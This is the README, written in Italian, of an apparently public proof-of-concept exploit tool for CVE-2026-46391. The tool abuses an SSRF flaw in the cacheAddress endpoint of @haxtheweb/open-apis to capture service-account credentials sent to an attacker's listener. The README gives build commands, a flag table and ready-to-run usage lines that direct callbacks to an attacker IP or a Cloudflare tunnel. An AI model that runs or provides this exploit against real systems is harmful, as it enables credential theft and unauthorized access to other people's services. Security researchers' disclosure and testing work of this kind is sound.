bradyjmcl/cve-2026-46391Proof of concept exploit per CVE-2026-46391
Proof of concept per CVE-2026-46391. Sfrutta la vulnerabilità SSRF nell'endpoint cacheAddress di @haxtheweb/open-apis e cattura le credenziali dell'account di servizio inviate nel callback.
go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <web-root> -l <listener> [-p port] [-t seconds] [-v]
| Flag | Descrizione | Predefinito |
|---|---|---|
-u, --url | Root web di destinazione (es. http://10.10.0.80:3000) | obbligatorio |
-l, --listener | Il tuo IP/hostname o URL tunnel (es. 192.168.1.10, https://uuid.trycloudflare.com) | obbligatorio |
-p, --port | Porta locale su cui ascoltare | 8080 |
-t, --timeout | Secondi di attesa per il callback | 30 |
-v, --verbose | Stampa header e corpo di ogni richiesta in entrata | disattivato |
Diretto (stessa rete del target):
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
Tramite VPS/tunnel Cloudflare/ecc:
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
Porta e timeout personalizzati:
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60